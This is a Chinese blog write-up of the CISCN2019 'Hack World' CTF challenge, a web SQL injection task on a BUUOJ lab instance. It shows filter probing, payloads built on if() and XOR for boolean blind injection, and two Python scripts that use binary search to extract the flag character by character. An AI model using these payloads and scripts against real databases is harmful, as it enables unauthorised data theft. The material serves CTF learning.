首页 > 其他分享 >[CISCN2019 华北赛区 Day2 Web1]Hack World

[CISCN2019 华北赛区 Day2 Web1]Hack World

时间:2024-01-29 21:44:07浏览次数:24  
标签:right letf url Day2 mid flag Web1 World data

[CISCN2019 华北赛区 Day2 Web1]Hack World

sVXTjW56a0tB2XLRWyfpFZhO404ZjWObn23BZ6i14eU

页面中给了提示,数据表名和列名都为flag

输入1尝试

az7FjCTWc0oE-K-PevwmZcz6mk0nhxfXn98N_nB4UTc

输入2尝试

ySD8LChgAbJ9GXkUPvoHhfQeGGnBAviRHyNV2iK5rpM

输入3提示获取结果出错

HTr_fYZaeZ7-_NcPF0bsyDP5AbIfpzfGDR_g2nKsyQM

输入1'尝试找注入点,根据返回结果判断可能是字符型注入

1IoKGtjTptBjLcRgJ4_giU0MQktqBWN9e_nEuzM5BbQ

使用永真语句尝试发现注入被过滤

l4SpBVWloFt8QWfLQFF_rRsLe3nlAkd1t-jZTgcIvfk

通过爆破发现部分关键字并没有被过滤

Wbz7BmknPYiUiZ2saYVr2RHhziDk2e4DbhaLYSF7Src

这里通过师傅们(https://blog.csdn.net/l2872253606/article/details/125244044)的WP知道了两种解题方法

1.if

OcKzbixEWtHuWpUCiIprP6iqWglj75HzwVOfbUGMVOQ

于是可以用布尔盲注进行解题

if(ascii(substr((select(database())),1,1))>32,1,2)

nY2sLNs5AK9q0LgawA_iiR3lIsLXeo7JrsLvzGt0QZw

ydxFDtjbGSwM-2vXo1SoNONI2E-GHiewyuWP2kvTyG0

这里通过二分法脚本来解题

# buuctf web Hack World
import requests

url = "http://bcd848ad-3ba8-4d83-87e2-c22cce3bafa5.node5.buuoj.cn:81/index.php"
flag = ""
i = 0

while True:
    i = i + 1
    letf = 32
    right = 127
    while letf < right:
        mid = (letf + right) // 2
        payload = f"if(ascii(substr((select(flag)from(flag)),{i},1))>{mid},1,2)"
        data = {"id": payload}
        res = requests.post(url=url, data=data).text
        if "Hello" in res:
            letf = mid + 1
        else:
            right = mid
    if letf != 32:
        flag += chr(letf)
        print(flag)
    else:
        break

cECi9SmQqVbZn-zspm-fG9LEPRDC7U7P-nE8oRmezMQ

2.异或

MySQL逻辑运算符查漏补缺https://c.biancheng.net/view/7188.html

XOR 表示逻辑异或,具体语法规则为:
当任意一个操作数为 NULL 时,返回值为 NULL;
对于非 NULL 的操作数,如果两个操作数都是非 0 值或者都是 0 值,则返回值为 0;
如果一个为0值,另一个为非 0 值,返回值为 1。

构造payload

0^(ascii(substr(database(),1,1))>0)

2oWJujBH28TSdtOxzUbr77B-KURYjKubR6l_-MbA5co

同样使用脚本解题

# buuctf web Hack World
from turtle import right
import requests

url = "http://bcd848ad-3ba8-4d83-87e2-c22cce3bafa5.node5.buuoj.cn:81/index.php"
flag = ""
i = 0

while True:
    i = i + 1
    letf = 32
    right = 127
    while letf < right:
        mid = (letf + right) // 2
        payload = f"0^(ascii(substr((select(flag)from(flag)),{i},1))>{mid})"
        data = {"id": payload}
        res = requests.post(url=url, data=data).text
        if "Hello" in res:
            letf = mid + 1
        else:
            right = mid
    if letf != 32:
        flag += chr(letf)
        print(flag)
    else:
        break

cGfDPrb4DEfbAgl456hhrkNSa7-Xp5w_vMDmFkQeuh4

得到同样的结果

标签:right,letf,url,Day2,mid,flag,Web1,World,data
From: https://www.cnblogs.com/fishjumpriver/p/17995401

相关文章

  • day27 代码随想录算法训练营 39. 组合总和
    题目:39.组合总和我的感悟:还是没太理解这个index和i的区别感觉要继续听继续做剪枝要进行排序,这题,我先理解到不剪枝的版本就行 代码示例:classSolution:defcombinationSum(self,candidates:List[int],target:int)->List[List[int]]:res=[]......
  • 英语一课一练一年级扩展阅读05The World of Alice-爱丽丝的世界
    PDF格式公众号回复关键字:YYYKYLY05记忆树1Hello!MynameisAlice.翻译你好,我的名字是爱丽丝。简化记忆名字2Thisismyface.It'sround.翻译这是我的脸,它是圆的。简化记忆圆脸3Lookatmyeyes.They'rebig.翻译看我的眼睛,它们很大。简化记忆眼睛4......
  • Tornado 输出第一个"hello world"
    在Python中,使用Tornado框架输出"HelloWorld"的示例代码如下:importtornado.ioloopimporttornado.webclassMainHandler(tornado.web.RequestHandler):defget(self):self.write("HelloWorld")defmake_app():returntorna......
  • 《PalWorld/幻兽帕鲁》旧电脑linux搭建服务器
    关键词:PalWorld,Linux,Natapp,内网穿透,幻兽帕鲁 注意文章时效性 最近幻兽帕鲁爆火,steam一上线好友列表一串正在游玩哈哈哈,自己也是蹭一波热度,顺便试用一下natapp以及联系一下写文章的能力,嘿嘿 首先说明下环境Linux:ubuntu22.04.1Natapp:2.4.0#我用......
  • day25 代码随想录算法训练营 17. 电话号码的字母组合
    题目:17.电话号码的字母组合我的感悟:一时间没理解没关系,只要不放弃,就会成长!!!理解难点:index是独立集合的起点,需要理解它。有些东西就是时间的积累代码难点:代码示例:classSolution:def__init__(self):self.letterMap=["",#0......
  • winter 2024 day2
    2023中国大学生程序设计竞赛(CCPC)新疆赛区(重现赛H数学思路:有四平方和定理知道,任意正整数可表示为不超过四个整数的平方和。 并且n的范围为1e5,可以枚举出f(x)值为1、2、3、4的平方数组合情况。也可以dp,f[i]=min(f[i],f[i-k*k]+1)#include<bits/stdc++.h>usingnamespacestd......
  • Mysql在Linux运行时新增配置文件提示:World-wrirable config file '/etc/mysql/conf.d/
    场景docker-compose入门以及部署SpringBoot+Vue+Redis+Mysql(前后端分离项目)以若依前后端分离版为例:https://blog.csdn.net/BADAO_LIUMANG_QIZHI/article/details/128372122在Centos服务器上使用docker-compose部署mysql后,未配置数据卷映射的my.cnf配置文件。再将服务全部dow......
  • 代码随想录 day29 非递减子序列 全排列 全排列 II
    非递减子序列cpp就业还是太难了还是转java吧好歹这个对双非还友好一些尝试写java的第一天本题关键是理解非递减子序列判断条件需要额外一个数组记录当前元素是否在本树层使用过记录在这个数组就说明用过了全排列本题系统的演示了怎么写全排列和最基本的组合问题的......
  • day25 代码随想录算法训练营 216. 组合总和 III
    题目:216.组合总和III我的感悟:还是按照之前的套路来。多了一个参数path_sum应该是有两处剪枝,1处横线剪枝,1处纵向剪枝?或者说1处求和剪枝?1处范围剪枝?【疑问】理解难点:不剪枝的已经模的差不多了,剪枝的再看看 自己听了一遍写的:[未剪枝]classSolution:defcombina......
  • 云计算学习day2
    第二天学习内容为讲解了Linus系统的分区以及命令的含义以及分别有那些命令首先为分区,linus系统的分区为三部分,分别为:/(根)、/boot、swap:/‘第一个文件夹’想进入到linux系统必须要有根,根分区是最重要的分区/boot存放启动引导文件的swap把硬盘上的一部......